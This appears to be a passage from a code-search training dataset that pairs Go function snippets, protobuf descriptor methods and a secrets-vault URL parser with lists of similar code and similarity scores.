checkAppsInstalled(ctx context.Context, tconn *chrome.TestConn) error {\n\tregisteredSystemWebApps, err := apps.ListRegisteredSystemWebApps(ctx, tconn)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to get registered system web apps\")\n\t}\n\n\t// A set of system web apps that trigger different install code paths.\n\ttestAppInternalNames := map[string]bool{\n\t\t\"OSSettings\": true,\n\t\t\"Media\": true,\n\t\t\"Help\": true,\n\t}\n\n\tfor _, swa := range registeredSystemWebApps {\n\t\tif testAppInternalNames[swa.InternalName] {\n\t\t\tapp, err := apps.FindSystemWebAppByOrigin(ctx, tconn, swa.StartURL)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"failed to match origin, app: %s, origin: %s\", swa.InternalName, swa.StartURL)\n\t\t\t}\n\t\t\tif app == nil {\n\t\t\t\treturn errors.Errorf(\"failed to find system web app that should have been installed: %s\", swa.InternalName)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}" ]
[ "0.8497044", "0.8475372", "0.84579355", "0.55881405", "0.55528826", "0.55100256", "0.538975", "0.5382915", "0.53009117", "0.5276605", "0.524784", "0.52017456", "0.5199999", "0.5159729", "0.5140767", "0.5136497", "0.5108067", "0.50813764", "0.50802505", "0.50696635", "0.5067186", "0.50619507", "0.5056319", "0.502991", "0.5027818", "0.50206745", "0.49978784", "0.49958766", "0.49943024", "0.4970605", "0.49616215", "0.49398062", "0.49388745", "0.49357343", "0.49325606", "0.49302068", "0.49251974", "0.49159667", "0.49133557", "0.48925948", "0.48847747", "0.48829257", "0.486473", "0.48646894", "0.48373166", "0.48344153", "0.48294756", "0.48274592", "0.48238286", "0.48192343", "0.48177576", "0.48119688", "0.48087028", "0.48044384", "0.48039383", "0.48032132", "0.47890761", "0.47886935", "0.4780434", "0.47753724", "0.4774008", "0.4773067", "0.4767091", "0.47572637", "0.4755104", "0.47530094", "0.4752401", "0.47473994", "0.47445878", "0.47443804", "0.4737038", "0.4728291", "0.47191346", "0.47141394", "0.47111198", "0.4706583", "0.4705243", "0.4701913", "0.47012693", "0.46982253", "0.46913078", "0.46877766", "0.46867338", "0.46828118", "0.46820435", "0.46766818", "0.46745908", "0.467369", "0.4672433", "0.4669976", "0.4665273", "0.46611995", "0.46565026", "0.46564448", "0.4655702", "0.4653846", "0.46462172", "0.4645088", "0.46436086" ]
0.8658139
1
Deprecated: Use ResponseListUnacceptedAgreements.ProtoReflect.Descriptor instead.
func (*ResponseListUnacceptedAgreements) Descriptor() ([]byte, []int) { return file_response_list_unaccepted_agreements_proto_rawDescGZIP(), []int{0} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (*RequestListUnacceptedAgreements) Descriptor() ([]byte, []int) {\n\treturn file_request_list_unaccepted_agreements_proto_rawDescGZIP(), []int{0}\n}", "func (*Deprecation) Descriptor() ([]byte, []int) {\n\treturn file_external_cfgmgmt_response_nodes_proto_rawDescGZIP(), []int{8}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_contact_proto_rawDescGZIP(), []int{15}\n}", "func (EUnderDraftResponse) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{11}\n}", "func (*PatchCollectorsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{161}\n}", "func (*ListRequest) Descriptor() ([]byte, []int) {\n\treturn file_teams_v1_teams_proto_rawDescGZIP(), []int{0}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_teams_v1_teams_proto_rawDescGZIP(), []int{1}\n}", "func (*DropTeamRequest) Descriptor() ([]byte, []int) {\n\treturn file_mods_v1_mods_proto_rawDescGZIP(), []int{22}\n}", "func (*DeleteCollectorsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{162}\n}", "func (*DeleteFeedbackResponse) Descriptor() ([]byte, []int) {\n\treturn file_feedbackreq_proto_rawDescGZIP(), []int{7}\n}", "func (*CMsgDevDeleteEventActionsResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{321}\n}", "func (*DeleteTeam_Response) Descriptor() ([]byte, []int) {\n\treturn file_uac_Team_proto_rawDescGZIP(), []int{6, 0}\n}", "func (*ProvideValidationFeedbackResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_maps_addressvalidation_v1_address_validation_service_proto_rawDescGZIP(), []int{3}\n}", "func (*DeleteRequest) Descriptor() ([]byte, []int) {\n\treturn file_teams_v1_teams_proto_rawDescGZIP(), []int{10}\n}", "func (*RevokeJobRequest) Descriptor() ([]byte, []int) {\n\treturn file_pkg_noderpc_proto_feeds_manager_proto_rawDescGZIP(), []int{20}\n}", "func (*DeleteFeedbackRequest) Descriptor() ([]byte, []int) {\n\treturn file_feedbackreq_proto_rawDescGZIP(), []int{6}\n}", "func (StandardPTransforms_DeprecatedPrimitives) EnumDescriptor() ([]byte, []int) {\n\treturn file_org_apache_beam_model_pipeline_v1_beam_runner_api_proto_rawDescGZIP(), []int{4, 1}\n}", "func (*DeleteResponse) Descriptor() ([]byte, []int) {\n\treturn file_teams_v1_teams_proto_rawDescGZIP(), []int{11}\n}", "func (*PlanChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_plan_change_proto_rawDescGZIP(), []int{0, 3}\n}", "func (EDevEventRequestResult) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{7}\n}", "func (x *fastReflection_MsgUpdateParamsResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateParamsResponse\n}", "func (*ProvisioningPolicyChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_devices_proto_v1alpha_provisioning_policy_change_proto_rawDescGZIP(), []int{0, 3}\n}", "func (Reason) EnumDescriptor() ([]byte, []int) {\n\treturn file_dead_proto_rawDescGZIP(), []int{0}\n}", "func (*OutdatedRequest) Descriptor() ([]byte, []int) {\n\treturn file_cc_arduino_cli_commands_v1_commands_proto_rawDescGZIP(), []int{12}\n}", "func (*CMsgDOTARequestChatChannelListResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_chat_proto_rawDescGZIP(), []int{19}\n}", "func (CMsgGCToClientRemoveFilteredPlayerResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{329, 0}\n}", "func (FaultDelay_FaultDelayType) EnumDescriptor() ([]byte, []int) {\n\treturn file_envoy_config_filter_fault_v2_fault_proto_rawDescGZIP(), []int{0, 0}\n}", "func (*GetMengerListResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_menger_menger_proto_rawDescGZIP(), []int{14}\n}", "func (*ProviderDisregisterRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_hourglass_v1_provider_proto_rawDescGZIP(), []int{2}\n}", "func (*ListTeamsResponse) Descriptor() ([]byte, []int) {\n\treturn file_xsuportal_services_audience_team_list_proto_rawDescGZIP(), []int{0}\n}", "func (*DistributionChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_applications_proto_v1alpha2_distribution_change_proto_rawDescGZIP(), []int{0, 3}\n}", "func (*DisconnectedServicesReq) Descriptor() ([]byte, []int) {\n\treturn file_external_applications_applications_proto_rawDescGZIP(), []int{6}\n}", "func (*ListRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_contact_proto_rawDescGZIP(), []int{14}\n}", "func (*RemoveFaultRequest) Descriptor() ([]byte, []int) {\n\treturn file_faultinjector_proto_rawDescGZIP(), []int{6}\n}", "func (CMsgClientToGCGiveTipResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{240, 0}\n}", "func (*DropTeamResponse) Descriptor() ([]byte, []int) {\n\treturn file_mods_v1_mods_proto_rawDescGZIP(), []int{23}\n}", "func (CMsgClientToGCRequestPlayerRecentAccomplishmentsResponse_EResponse) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{346, 0}\n}", "func (*CMsgDOTAChatGetUserListResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_chat_proto_rawDescGZIP(), []int{21}\n}", "func (*CSVCMsg_GameEventListDescriptorT) Descriptor() ([]byte, []int) {\n\treturn file_csgo_netmessages_proto_rawDescGZIP(), []int{44, 1}\n}", "func (*EvictWritersResponseProto) Descriptor() ([]byte, []int) {\n\treturn file_ClientDatanodeProtocol_proto_rawDescGZIP(), []int{11}\n}", "func (x *fastReflection_MsgWithdrawValidatorCommissionResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgWithdrawValidatorCommissionResponse\n}", "func (ProvideValidationFeedbackRequest_ValidationConclusion) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_maps_addressvalidation_v1_address_validation_service_proto_rawDescGZIP(), []int{2, 0}\n}", "func (*CSVCMsg_GameEventListDescriptorT) Descriptor() ([]byte, []int) {\n\treturn file_netmessages_proto_rawDescGZIP(), []int{44, 1}\n}", "func (*OriginalDetectIntentRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_v2beta1_webhook_proto_rawDescGZIP(), []int{2}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_wallet_proto_rawDescGZIP(), []int{8}\n}", "func (*ListCollectorsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{164}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_url_proto_rawDescGZIP(), []int{4}\n}", "func (*ProvideValidationFeedbackRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_maps_addressvalidation_v1_address_validation_service_proto_rawDescGZIP(), []int{2}\n}", "func (*GetClientListResponse) Descriptor() ([]byte, []int) {\n\treturn file_messaging_proto_rawDescGZIP(), []int{5}\n}", "func (*DeviceDecommissioningRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{4}\n}", "func (*ListRequest) Descriptor() ([]byte, []int) {\n\treturn file_rpc_accord_proto_rawDescGZIP(), []int{7}\n}", "func (*CUserAccount_RevokeFriendInviteToken_Response) Descriptor() ([]byte, []int) {\n\treturn file_steammessages_useraccount_steamclient_proto_rawDescGZIP(), []int{15}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_task_v1_task_proto_rawDescGZIP(), []int{6}\n}", "func (*CreateAlterResponse) Descriptor() ([]byte, []int) {\n\treturn file_grpc_exercicio_proto_rawDescGZIP(), []int{2}\n}", "func (CMsgServerToGCRequestPlayerRecentAccomplishmentsResponse_EResponse) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_common_proto_rawDescGZIP(), []int{59, 0}\n}", "func (*RejectedJobRequest) Descriptor() ([]byte, []int) {\n\treturn file_pkg_noderpc_proto_feeds_manager_proto_rawDescGZIP(), []int{12}\n}", "func (*DeviceDecommissioningResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{5}\n}", "func (*FaultDelay) Descriptor() ([]byte, []int) {\n\treturn file_envoy_config_filter_fault_v2_fault_proto_rawDescGZIP(), []int{0}\n}", "func (*CMsgClientToGCGetTrophyListResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{135}\n}", "func (*RemoveCheckResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_ocp_check_api_ocp_check_api_proto_rawDescGZIP(), []int{11}\n}", "func (*DeleteRequest) Descriptor() ([]byte, []int) {\n\treturn file_grpc_exercicio_proto_rawDescGZIP(), []int{7}\n}", "func (CMsgDOTADestroyLobbyResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{258, 0}\n}", "func (APIVersion) EnumDescriptor() ([]byte, []int) {\n\treturn file_dapr_proto_internals_v1_apiversion_proto_rawDescGZIP(), []int{0}\n}", "func (*RevokeTokensRequest) Descriptor() ([]byte, []int) {\n\treturn file_token_proto_rawDescGZIP(), []int{17}\n}", "func (TokenProperties_InvalidReason) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_cloud_recaptchaenterprise_v1beta1_recaptchaenterprise_proto_rawDescGZIP(), []int{8, 0}\n}", "func (*AcceptInvitationResponse) Descriptor() ([]byte, []int) {\n\treturn file_messages_proto_rawDescGZIP(), []int{8}\n}", "func (*ListNotificationsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{63}\n}", "func (*DeleteResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_contact_proto_rawDescGZIP(), []int{11}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_fabl_v1_item_service_proto_rawDescGZIP(), []int{7}\n}", "func (x *fastReflection_LightClientAttackEvidence) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_LightClientAttackEvidence\n}", "func (*ApplicationInvalidatedDownlinks) Descriptor() ([]byte, []int) {\n\treturn file_ttn_lorawan_v3_messages_proto_rawDescGZIP(), []int{12}\n}", "func (*DeleteWebhookRequest) Descriptor() ([]byte, []int) {\n\treturn file_uac_Event_proto_rawDescGZIP(), []int{5}\n}", "func (*GroupRemoveRequestProto) Descriptor() ([]byte, []int) {\n\treturn file_raft_proto_rawDescGZIP(), []int{34}\n}", "func (*GetListResponse) Descriptor() ([]byte, []int) {\n\treturn file_parser_company_proto_rawDescGZIP(), []int{15}\n}", "func (*RemoveFaultResponse) Descriptor() ([]byte, []int) {\n\treturn file_faultinjector_proto_rawDescGZIP(), []int{7}\n}", "func (*RevokeTokensResponse) Descriptor() ([]byte, []int) {\n\treturn file_token_proto_rawDescGZIP(), []int{18}\n}", "func (*CancelPlanResponseProto) Descriptor() ([]byte, []int) {\n\treturn file_ClientDatanodeProtocol_proto_rawDescGZIP(), []int{23}\n}", "func (*DeleteResponse) Descriptor() ([]byte, []int) {\n\treturn file_grpc_exercicio_proto_rawDescGZIP(), []int{8}\n}", "func (*GenerateMessageResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_ai_generativelanguage_v1beta2_discuss_service_proto_rawDescGZIP(), []int{1}\n}", "func (SVC_Messages) EnumDescriptor() ([]byte, []int) {\n\treturn file_csgo_netmessages_proto_rawDescGZIP(), []int{4}\n}", "func (*CancelTeamSubscriptionRequest) Descriptor() ([]byte, []int) {\n\treturn file_protos_participant_service_proto_rawDescGZIP(), []int{4}\n}", "func (*FeedbackRequest) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{10}\n}", "func (*DeleteWebhookRequest) Descriptor() ([]byte, []int) {\n\treturn file_events_Event_proto_rawDescGZIP(), []int{6}\n}", "func (*GeneratedFeedbackResponse) Descriptor() ([]byte, []int) {\n\treturn file_feedbackreq_proto_rawDescGZIP(), []int{9}\n}", "func (ESupportEventRequestResult) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{8}\n}", "func (*InvitationResponse) Descriptor() ([]byte, []int) {\n\treturn file_messages_proto_rawDescGZIP(), []int{6}\n}", "func (*MemberReceiveAddressListResp) Descriptor() ([]byte, []int) {\n\treturn file_ums_proto_rawDescGZIP(), []int{85}\n}", "func (*CMsgClientToGCUnderDraftSellResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{377}\n}", "func (*UpdateRequest) Descriptor() ([]byte, []int) {\n\treturn file_teams_v1_teams_proto_rawDescGZIP(), []int{5}\n}", "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_weather_proto_rawDescGZIP(), []int{17}\n}", "func (*DisconnectedRequest) Descriptor() ([]byte, []int) {\n\treturn file_vm_vm_proto_rawDescGZIP(), []int{29}\n}", "func (*CancelDelegationTokenResponseProto) Descriptor() ([]byte, []int) {\n\treturn file_Security_proto_rawDescGZIP(), []int{8}\n}", "func (*DeregisterResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_engine_proto_rawDescGZIP(), []int{9}\n}", "func (CMsgProfileUpdateResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{278, 0}\n}", "func (*InviteResponse) Descriptor() ([]byte, []int) {\n\treturn file_ProviderService_proto_rawDescGZIP(), []int{1}\n}", "func (StatusMessage_Reference) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_devtools_clouddebugger_v2_data_proto_rawDescGZIP(), []int{1, 0}\n}", "func (*DeleteNotificationsRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{32}\n}", "func (*ListTeamsRequest) Descriptor() ([]byte, []int) {\n\treturn file_mods_v1_mods_proto_rawDescGZIP(), []int{18}\n}", "func (*MemberReceiveAddressDeleteResp) Descriptor() ([]byte, []int) {\n\treturn file_ums_proto_rawDescGZIP(), []int{89}\n}", "func (*DelRequest) Descriptor() ([]byte, []int) {\n\treturn file_patrol_proto_rawDescGZIP(), []int{8}\n}" ]
[ "0.7459947", "0.7196085", "0.6830965", "0.6802951", "0.67783093", "0.6766362", "0.6758622", "0.6717443", "0.67119855", "0.66959614", "0.6670385", "0.6667114", "0.6666535", "0.66533613", "0.66446245", "0.6638348", "0.6633417", "0.66304475", "0.66287714", "0.66228986", "0.6613499", "0.66133213", "0.6603446", "0.66003984", "0.6592511", "0.658713", "0.6586879", "0.6583369", "0.65702426", "0.6569654", "0.65654165", "0.6562303", "0.6561652", "0.65596867", "0.65581375", "0.6558059", "0.65577674", "0.6557397", "0.65561444", "0.65542424", "0.6550126", "0.65461695", "0.6543796", "0.65434116", "0.6542236", "0.6539132", "0.6535535", "0.65354717", "0.6534087", "0.6527571", "0.6526856", "0.65263927", "0.65257865", "0.651979", "0.6518504", "0.651735", "0.6516841", "0.6513546", "0.6509044", "0.65016997", "0.6500754", "0.64939505", "0.6493027", "0.64927757", "0.6491076", "0.6486902", "0.648488", "0.64836705", "0.6482778", "0.64801276", "0.64782494", "0.6477753", "0.6476809", "0.64764416", "0.6473525", "0.6472161", "0.64700526", "0.64698744", "0.64696354", "0.64685684", "0.64684916", "0.6468375", "0.6467403", "0.6467236", "0.64664096", "0.6465731", "0.6464485", "0.64632267", "0.64630437", "0.6459529", "0.64579564", "0.64552563", "0.6452794", "0.6452498", "0.6452212", "0.64519787", "0.6449421", "0.6446527", "0.6445904", "0.64443654" ]
0.75362694
0
Parse the given text into a Vault instance
func Parse(urlText string) (Vault, error) { result, ok := factory.Load(urlText) if ok { return result.(Vault), nil } u, err := url.Parse(urlText) if err != nil { return nil, err } if u.Scheme == "" { return nil, fmt.Errorf("url scheme is empty in secret.Parse(%q)", urlText) } switch u.Scheme { case "env": vault, newVaultErr := newEnvVault(u.Hostname()) if newVaultErr != nil { return nil, newVaultErr } factory.Store(urlText, vault) return vault, nil case "passwd": vault := &passPhraseVault{passPhrase: u.Hostname()} factory.Store(urlText, vault) return vault, nil case "plain": return plainTextVault, nil default: return nil, fmt.Errorf("Unable to handle unknown scheme %q in %q", u.Scheme, u.String()) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Parse(bytes []byte) (*List, error) {\n\tl := NewList(\"temp\")\n\terr := l.UnmarshalText(bytes)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to read list from text\")\n\t}\n\treturn l, nil\n}", "func Parse(text string) (*Amount, error) {\n\treturn parse(text, \".\")\n}", "func VariantParse(vType *VariantType, text string) (*Variant, error) {\n\tcstr := C.CString(text)\n\tdefer C.free(unsafe.Pointer(cstr))\n\tvar gerr *C.GError\n\tc := C.g_variant_parse(vType.native(), (*C.gchar)(cstr), nil, nil, &gerr)\n\tif c == nil {\n\t\tdefer C.g_error_free(gerr)\n\t\treturn nil, errors.New(goString(gerr.message))\n\t}\n\t// will be freed during GC\n\treturn takeVariant(c), nil\n}", "func ParseText(content []byte) []interface{} {\n jsonObject := []interface{}{}\n if err := json.Unmarshal(content, &jsonObject); err != nil {\n panic(err)\n }\n return parse(jsonObject)\n}", "func (s *Safe) Vault(hash crypto.Hash, key string) (*safe.Vault, error) {\n\tres := safe.EmptyVault(hash)\n\terr := s.db.View(func(tx *bolt.Tx) error {\n\t\tbuf := tx.Bucket([]byte(VaultTable)).Get([]byte(key))\n\t\tif len(buf) == 0 {\n\t\t\treturn safe.ErrNotFound\n\t\t}\n\t\treturn json.Unmarshal(buf, &res)\n\t})\n\treturn res, err\n}", "func (s *Sentence) Parse(str string) error {\n\ts.Raw = str\n\tif strings.Count(str, checksumSep) != 1 {\n\t\treturn fmt.Errorf(\"Sentence does not contain single checksum separator\")\n\t}\n\tif strings.Index(str, sentenceStart) != 0 {\n\t\treturn fmt.Errorf(\"Sentence does not start with a '$'\")\n\t}\n\tsentence := strings.Split(str, sentenceStart)[1]\n\tfieldSum := strings.Split(sentence, checksumSep)\n\tfields := strings.Split(fieldSum[0], fieldSep)\n\ts.SType = fields[0]\n\ts.Fields = fields[1:]\n\ts.Checksum = strings.ToUpper(fieldSum[1])\n\tif err := s.sumOk(); err != nil {\n\t\treturn fmt.Errorf(\"Sentence checksum mismatch %s\", err)\n\t}\n\treturn nil\n}", "func parse(program string) interface{} {\r\n tokens := tokenize(program)\r\n s, _ := readFromTokens(tokens)\r\n return s\r\n}", "func (h *handler) Load(state []byte) (core.Template, error) {\n\tdec := scale.NewDecoder(bytes.NewBuffer(state))\n\tvault := &Vault{}\n\tif _, err := vault.DecodeScale(dec); err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %w\", core.ErrInternal, err)\n\t}\n\treturn vault, nil\n}", "func (p *parser) Parse(text string) (err error) {\n\tdefer p.recover(&err)\n\tp.lex = lex(text)\n\tp.Text = text\n\tp.parse()\n\tp.stopParse()\n\treturn nil\n}", "func (h *handler) New(args any) (core.Template, error) {\n\tspawn := args.(*SpawnArguments)\n\tif spawn.InitialUnlockAmount > spawn.TotalAmount {\n\t\treturn nil, fmt.Errorf(\"initial %d should be less or equal to total %d\", spawn.InitialUnlockAmount, spawn.TotalAmount)\n\t}\n\tif spawn.VestingEnd.Before(spawn.VestingStart) {\n\t\treturn nil, fmt.Errorf(\"vesting end %s should be atleast equal to start %s\",\n\t\t\tspawn.VestingEnd, spawn.VestingStart)\n\t}\n\treturn &Vault{\n\t\tOwner: spawn.Owner,\n\t\tTotalAmount: spawn.TotalAmount,\n\t\tInitialUnlockAmount: spawn.InitialUnlockAmount,\n\t\tVestingStart: spawn.VestingStart,\n\t\tVestingEnd: spawn.VestingEnd,\n\t}, nil\n}", "func (rft *RemittanceFreeText) Parse(record string) error {\n\tif utf8.RuneCountInString(record) < 6 {\n\t\treturn NewTagMinLengthErr(6, len(record))\n\t}\n\n\trft.tag = record[:6]\n\tlength := 6\n\n\tvalue, read, err := rft.parseVariableStringField(record[length:], 140)\n\tif err != nil {\n\t\treturn fieldError(\"LineOne\", err)\n\t}\n\trft.LineOne = value\n\tlength += read\n\n\tvalue, read, err = rft.parseVariableStringField(record[length:], 140)\n\tif err != nil {\n\t\treturn fieldError(\"LineTwo\", err)\n\t}\n\trft.LineTwo = value\n\tlength += read\n\n\tvalue, read, err = rft.parseVariableStringField(record[length:], 140)\n\tif err != nil {\n\t\treturn fieldError(\"LineThree\", err)\n\t}\n\trft.LineThree = value\n\tlength += read\n\n\tif err := rft.verifyDataWithReadLength(record, length); err != nil {\n\t\treturn NewTagMaxLengthErr(err)\n\t}\n\n\treturn nil\n}", "func (t *Template) ParseFrom(text string) (*Template, error) {\n\t// TODO\n\treturn &Template{}, nil\n}", "func Parse(rawtemplate string) (template *Template, err error) {\n\ttemplate = new(Template)\n\ttemplate.raw = rawtemplate\n\tsplit := strings.Split(rawtemplate, \"{\")\n\ttemplate.parts = make([]templatePart, len(split)*2-1)\n\tfor i, s := range split {\n\t\tif i == 0 {\n\t\t\tif strings.Contains(s, \"}\") {\n\t\t\t\terr = errors.New(\"unexpected }\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttemplate.parts[i].raw = s\n\t\t} else {\n\t\t\tsubsplit := strings.Split(s, \"}\")\n\t\t\tif len(subsplit) != 2 {\n\t\t\t\terr = errors.New(\"malformed template\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t\texpression := subsplit[0]\n\t\t\ttemplate.parts[i*2-1], err = parseExpression(expression)\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttemplate.parts[i*2].raw = subsplit[1]\n\t\t}\n\t}\n\tif err != nil {\n\t\ttemplate = nil\n\t}\n\treturn template, err\n}", "func Parse(name, text string) (*Tree, error) {\n\tt := New(name)\n\tt.text = text\n\treturn t.Parse(text)\n}", "func (_Vault *VaultSession) ParseBurnInst(inst []byte) (VaultBurnInstData, error) {\n\treturn _Vault.Contract.ParseBurnInst(&_Vault.CallOpts, inst)\n}", "func (b *Block) UnmarshalText(text []byte) error {\n\tdecoded := make([]byte, hex.DecodedLen(len(text)))\n\t_, err := hex.Decode(decoded, text)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn b.FromBytes(decoded)\n}", "func (v *vault) View() ([]byte, error) {\n\tvar (\n\t\theader []string\n\t\trawPayload bytes.Buffer\n\t\tscanner *bufio.Scanner\n\t)\n\n\t// check if there is someting to read on STDIN\n\tstat, _ := os.Stdin.Stat()\n\tif (stat.Mode() & os.ModeCharDevice) == 0 {\n\t\tscanner = bufio.NewScanner(os.Stdin)\n\t} else {\n\t\tfile, err := os.Open(v.vault)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"missing vault name, use (\\\"%s -h\\\") for help\", os.Args[0])\n\t\t}\n\t\tdefer file.Close()\n\t\tscanner = bufio.NewScanner(file)\n\t}\n\tscanner.Split(bufio.ScanLines)\n\tl := 1\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif l == 1 {\n\t\t\theader = strings.Split(line, \";\")\n\t\t} else {\n\t\t\trawPayload.WriteString(line)\n\t\t}\n\t\tl++\n\t}\n\n\t// ssh-vault;AES256;fingerprint\n\tif len(header) != 3 {\n\t\treturn nil, fmt.Errorf(\"bad ssh-vault signature, verify the input\")\n\t}\n\n\t// password, body\n\tpayload := strings.Split(rawPayload.String(), \";\")\n\tif len(payload) != 2 {\n\t\treturn nil, fmt.Errorf(\"bad ssh-vault payload, verify the input\")\n\t}\n\n\t// use private key only\n\tif strings.HasSuffix(v.key, \".pub\") {\n\t\tv.key = strings.Trim(v.key, \".pub\")\n\t}\n\n\tkeyFile, err := ioutil.ReadFile(v.key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error reading private key: %s\", err)\n\t}\n\n\tblock, _ := pem.Decode(keyFile)\n\tif block == nil || !strings.HasSuffix(block.Type, \"PRIVATE KEY\") {\n\t\treturn nil, fmt.Errorf(\"No valid PEM (private key) data found\")\n\t}\n\n\tvar privateKey interface{}\n\n\tprivateKey, err = ssh.ParseRawPrivateKey(keyFile)\n\tif err, ok := err.(*ssh.PassphraseMissingError); ok {\n\t\tkeyPassword, err := v.GetPassword()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to get private key password, Decryption failed\")\n\t\t}\n\n\t\tprivateKey, err = ssh.ParseRawPrivateKeyWithPassphrase(keyFile, keyPassword)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not parse private key: %v\", err)\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"could not parse private key: %v\", err)\n\t}\n\n\tciphertext, err := base64.StdEncoding.DecodeString(payload[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tv.Password, err = oaep.Decrypt(privateKey.(*rsa.PrivateKey), ciphertext, []byte(\"\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Decryption failed, use private key with fingerprint: %s\", header[2])\n\t}\n\n\tciphertext, err = base64.StdEncoding.DecodeString(payload[1])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// decrypt ciphertext using fingerprint as additionalData\n\tdata, err := aead.Decrypt(v.Password, ciphertext, []byte(header[2]))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func NewVault(addr string) (*Vault, error) {\n\tvar err error\n\n\tvault := &Vault{logger: log.WithFields(log.Fields{\"type\": \"Vault\"})}\n\tvault.logger.WithField(\"addr\", addr).Info(\"Instantiating Vault API client\")\n\n\tif vault.client, err = vaultapi.NewClient(&vaultapi.Config{Address: addr}); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn vault, nil\n}", "func Parse(yamlText string) ([]Part, error) {\n\tsplitContent := SplitString(yamlText)\n\tparts := make([]Part, 0, len(splitContent))\n\tfor _, part := range splitContent {\n\t\tif len(part) > 0 {\n\t\t\tdescriptor, err := ParseDescriptor(part)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tparts = append(parts, Part{\n\t\t\t\tContents: part,\n\t\t\t\tDescriptor: descriptor,\n\t\t\t})\n\t\t}\n\t}\n\treturn parts, nil\n}", "func (account *Account) UnmarshalText(s []byte) error {\n\ta, err := AccountFromBase58(string(s))\n\tif nil != err {\n\t\treturn err\n\t}\n\taccount.AccountInterface = a.AccountInterface\n\treturn nil\n}", 